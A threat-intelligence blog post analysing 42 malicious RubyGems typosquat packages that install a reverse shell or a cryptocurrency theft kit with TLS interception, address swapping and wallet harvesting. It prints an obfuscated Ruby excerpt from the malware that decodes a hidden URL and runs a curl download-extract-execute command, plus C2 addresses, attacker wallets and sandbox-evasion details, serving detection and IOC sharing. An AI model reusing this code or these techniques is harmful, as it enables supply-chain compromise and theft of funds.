BLOG

Malicious Crypto Shell Packages Target RubyGems

A threat actor calling themselves "Ghost Dev" published 42 malicious typo squat packages to the RubyGems registry targeting crypto and web3 packages

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

Malicious Crypto Shell Packages Target RubyGems

The OpenSourceMalware automatic detection engine has identified more than 40 malicious RubyGems packages target crypto and web3 developers. These packages are typosquats and install a reverse-shell and cryptostealer.

Discovery

Initially, we analyzed a RubyGems package named rubygems-btc-shell and identified a cryptocurrency theft kit disguised as a wallet-protection utility. The bundle combines a local HTTP/HTTPS interception proxy, a browser content script, a clipboard hijacker, and a wallet-material grabber.

All of these packages were published by a RubyGems user named reqthrottle_3474, who calls themselves "Ghost Dev" in their RubyGems profile.

Its primary objective is financial theft: replace cryptocurrency withdrawal addresses with attacker-controlled wallets while keeping the victim-facing page unchanged. The same kit also searches for browser wallet data, seed phrases, private keys, and wallet files, then sends collected material to a hard-coded collector.

All of the malicious packages are in the OpenSourceMalware database and can be found with the #rubygems-btc-shell tag.

Our analysis

There are two stages to this malware campaign. The first is the RubyGems package itself which includes the payload file ext/req_throttle_mini/extconf.rb. This file is disguised as a Ruby native-extension build script, but its primary purpose is to act as a delayed backdoor. Before activating, it checks whether it is running in CI, a sandbox, an analysis directory, or under a generated testing username, helping it avoid automated analysis environments. It also looks for signs of a real developer workstation, including SSH keys, Git configuration, npm credentials, RubyGems credentials, or Bundler data. If those checks pass, it forks into the background, detaches from the terminal, and waits approximately 20–40 minutes.

There are two versions of this malware

Yes you heard that right! This malware comes in two versions...

First version: the reverse shell

The first version of this malware is relatively simple: It includes a reverse shell. Eleven of the 40+ packages are this variant. Once this version wakes up from its 20-40 minute nap it immediately decodes a base64 payload embedded in the extconf.rb file:

That second-stage payload repeatedly connects to 45.138.12.177 on TCP port 8090, attaches the connection to /bin/sh, and provides the remote operator with an interactive reverse shell. Failed connections are retried every 30 seconds. Although the file ends with normal-looking mkmf and create_makefile calls, the preceding logic clearly implements sandbox evasion, delayed execution, and remote command execution.

The second version downloads another payload

The second version of this malware has a extconf.rb file with a different base64 payload embedded in it:

key = "usv\x9a".bytes
hex = '1d0702ea4f5c59ae405d47a94d5d47a85b4241ad4f4b46a3475c01fd1e1a02b4011204b41209'
bs = [hex].pack('H*').bytes
url = ENV['WG_KIT_URL'] || bs.each_with_index.map { |b, i| b ^ key[i % key.length] }.pack('C*')
sleep(ENV['WG_FAST'] ? 2 : 1200 + rand(1200))
cmd = "curl -s --max-time 25 \"#{url}\" -o /tmp/.w1.tgz; mkdir -p /tmp/.w1; tar xzf /tmp/.w1.tgz -C /tmp/.w1 2>/dev/null; bash /tmp/.w1/wg_install.sh >/dev/null 2>&1; rm -rf /tmp/.w1 /tmp/.w1.tgz"
system(cmd) re

That hex string combined with the second to last line downloads a file from hxxp://45.138.12[.]177:8092/wgkit.tar.gz

If you untar that file, the analyzed directory contains Python scripts, a browser extension, an installation script, a root certificate, per-exchange certificates, target configuration, and a compressed copy of the same toolkit. The source is unusually explicit about its intended behavior: comments describe clipboard hijacking, wallet-vault extraction, seed scanning, and exfiltration.

drwxr-xr-x root/root         0 2026-10-05 07:06 ./
-rw-r--r-- root/root      1253 2026-10-05 07:03 ./wg-ca.crt
drwxr-xr-x root/root         0 2026-10-05 07:03 ./ext/
-rw-r--r-- root/root      9066 2026-10-05 07:03 ./ext/content.js
-rw-r--r-- root/root       573 2026-10-05 07:03 ./ext/manifest.json
-rw-r--r-- root/root       159 2026-10-05 07:03 ./ext/background.js
-rw-r--r-- root/root     15289 2026-10-05 07:03 ./inject_proxy.py
-rwxr-xr-x root/root      1971 2026-10-05 07:06 ./wg_install.sh
-rw-r--r-- root/root       927 2026-10-05 07:03 ./targets.json
drwxr-xr-x root/root         0 2026-10-05 07:03 ./tls/
-rw-r--r-- root/root      2912 2026-10-05 07:03 ./tls/mexc.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/kraken.com.pem
-rw-r--r-- root/root      2908 2026-10-05 07:03 ./tls/okx.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/nonkyc.io.pem
-rw-r--r-- root/root      2928 2026-10-05 07:03 ./tls/bitoasis.net.pem
-rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/bitstamp.net.pem
-rw-r--r-- root/root      2908 2026-10-05 07:03 ./tls/htx.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/bit2me.com.pem
-rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/trocador.app.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/crypto.com.pem
-rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/coinone.co.kr.pem
-rw-r--r-- root/root      2904 2026-10-05 07:03 ./tls/127.0.0.1.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/bitget.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/czrex.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/xeggex.com.pem
-rw-r--r-- root/root      2920 2026-10-05 07:03 ./tls/binance.com.pem
-rw-r--r-- root/root      2908 2026-10-05 07:03 ./tls/gate.io.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/gemini.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/buybank.io.pem
-rw-r--r-- root/root      2920 2026-10-05 07:03 ./tls/runeswap.io.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/mistex.io.pem
-rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/coinbase.com.pem
-rw-r--r-- root/root      2920 2026-10-05 07:03 ./tls/upbit.com.pem
-rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/bitfinex.com.pem
-rw-r--r-- root/root      2896 2026-10-05 07:03 ./tls/localhost.pem
-rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/spotex.trade.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/lbank.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/kucoin.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/bybit.com.pem
-rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/bitbank.cc.pem
-rw-r--r-- root/root     11656 2026-10-05 07:03 ./_grab.py

The kit has two cooperating components:

  1. inject_proxy.py intercepts local browser and shell traffic on 127.0.0.1:8899.

  2. _grab.py collects wallet data, scans user files, monitors the clipboard, and posts stolen material.

The ext/content.js module can run as a browser extension content script or be inserted directly into proxied pages. The manifest grants access to all URLs and loads the script at document_start in all frames.

Technical Analysis

Installation and persistence

wg_install.sh copies the kit into $HOME/.cache/.wg, attempts to install wg-ca.crt as a trusted certificate authority, and adds proxy variables to .bashrc and .zshrc.

It then creates two desktop autostart entries:

  • wg.desktop launches the interception proxy.

  • wg-grab.desktop launches the wallet grabber.

The script also starts both processes immediately with nohup, allowing the malware to operate without root privileges when the user environment permits it.

Local proxy and TLS interception

The proxy listens on 127.0.0.1:8899 and handles both ordinary HTTP requests and HTTPS CONNECT tunnels. For configured exchange hosts, it establishes upstream TLS, creates a server-side TLS context for the victim, and injects the malicious JavaScript into HTML responses.

The bundle includes a self-signed root certificate:

Subject: C=US, O=Wallet Guard LLC, CN=Wallet Guard Root CA
Issuer:  C=US, O=Wallet Guard LLC, CN=Wallet Guard Root CA
Validity: 2026-10-05 through 2036-10-02

It also contains private keys alongside leaf certificates for the targeted domains. This enables the proxy to present locally generated or pre-signed certificates for exchange traffic after the root certificate has been trusted.

Non-targeted HTTPS traffic is transparently relayed. Targeted HTML responses are modified by inserting the contents of ext/content.js before the closing </head>, <head>, or <body> tag.

Withdrawal-address replacement

The injected script recognizes Bitcoin, Ethereum, Tron, Solana, and TON addresses. It monitors fields whose names or labels contain terms such as address, wallet, recipient, destination, withdraw, or payout.

It hooks classic form submissions as well as fetch, XMLHttpRequest, and FormData APIs. When a matching address is found, it replaces the submitted value with an attacker wallet. The script then rewrites visible text and input values for up to twelve seconds so the victim continues seeing the original address.

The operator wallets embedded in the script are:

BTC  bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u
ETH  0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd
TRX  TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc
SOL  DC78HUMAE5QCY8M83yp3b83GL6zFQCScfbiVND7CVX8M
TON  UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3

Before replacement, the original address, network, amount, and exchange host are sent to the local proxy. If that request fails, the script falls back to a direct image-based GET request to the remote collector.

Clipboard hijacking

_grab.py continuously reads the clipboard. On Windows it uses the Win32 clipboard API; on Unix-like systems it attempts xclip and xsel.

When a cryptocurrency address is detected, the original value is exfiltrated and replaced with the corresponding operator wallet. The loop repeats approximately every 800 milliseconds, making it capable of intercepting addresses copied between applications rather than only addresses entered in a browser.

Wallet-vault and secret harvesting

The grabber searches common Chrome, Brave, and Edge locations for extension storage belonging to TronLink, MetaMask, Phantom, Binance, Coinbase, and Trust Wallet. It also searches for Exodus and Electrum wallet files.

A separate file scanner examines user directories up to a limited depth and looks for filenames containing wallet, seed, mnemonic, keystore, backup, passphrase, or private-key terms. Matching contents are scanned for:

  • BIP39-like seed phrases

  • xprv extended private keys

  • WIF private keys

  • Keystore JSON

Collected data is truncated to configured size limits, XOR-obfuscated with a short static key, base64-encoded, and sent to the /grab endpoint as an HTTP POST request.

Exfiltration infrastructure

The grabber’s independently decoded default C2 URL is:

http://45.138.12.177:8080/wi/grab

The browser script’s fallback URL is:

http://45.138.12.177:8080/w

The local proxy can also relay browser events to an operator-supplied URL through its --c2 option. The grabber accepts a WG_C2 environment-variable override. These configurable branches were not resolved because their values are external to the sample.

Targeted exchanges

The proxy configuration names the following hosts:

xeggex.com       nonkyc.io        binance.com       coinbase.com
kraken.com       kucoin.com       bybit.com         lbank.com
bitoasis.net     okx.com          gate.io           mexc.com
bitget.com       bitfinex.com     crypto.com        bit2me.com
htx.com          bitstamp.net     gemini.com        upbit.com
coinone.co.kr    bitbank.cc      trocador.app      mistex.io
runeswap.io      buybank.io      spotex.trade      czrex.com

Indicators of Compromise (IOCs)

C2 infrastructure

45.138.12.177
http://45.138.12.177:8080/wi/grab
http://45.138.12.177:8080/w
127.0.0.1:8899

Persistence and files

$HOME/.cache/.wg
$HOME/.config/autostart/wg.desktop
$HOME/.config/autostart/wg-grab.desktop
Wallet Guard Root CA

Attacker wallets

bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u
0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd
TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc
DC78HUMAE5QCY8M83yp3b83GL6zFQCScfbiVND7CVX8M
UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3

SHA-256

_grab.py        387a778a6376b6c060516ce5c1191a61e075acfe3fb073e6e5cd78eeb96a95b3
inject_proxy.py 549d35217f1e884634993ba6f13dd8e82091dd9f995a9ed0cb575958e63f073d
ext/content.js  57a56ab47fa7f33147d4924b07e77d773515b4a06ca9ac090874209a9950f30b
wg_install.sh   b857fdf59db6948ea01643d935742904e9275572e63cd23331a9405483c6379c
wgkit.tar.gz    33276fedf0632be39b4e8a646c520bfa081bb7e67dce52042da46bbbda16d440
wg-ca.crt       075b6ac656aa414e2d21b9d1bc8b0fd030902202222e9d06a326fd80d7827ae6

Conclusion

rubygems-btc-shell is a purpose-built cryptocurrency theft kit rather than a wallet-security tool. Its strongest feature is the combination of trusted-root installation, targeted TLS interception, request rewriting, and UI spoofing. That design can redirect a withdrawal while defeating the victim’s visual checks. The separate grabber broadens the impact by harvesting wallet files and secret material from the local system.

Organizations should inspect endpoints for the bundled root CA, proxy settings, autostart entries, and the 127.0.0.1:8899 listener. Users should treat any wallet or exchange secrets present on an affected host as compromised and rotate them from a clean device.

If you encounter similar packages or suspicious activity, please report them to OpenSourceMalware.com.

Stay safe out there.


Tags: #cryptostealer #infostealer #mitm #browser-injection #ruby-gems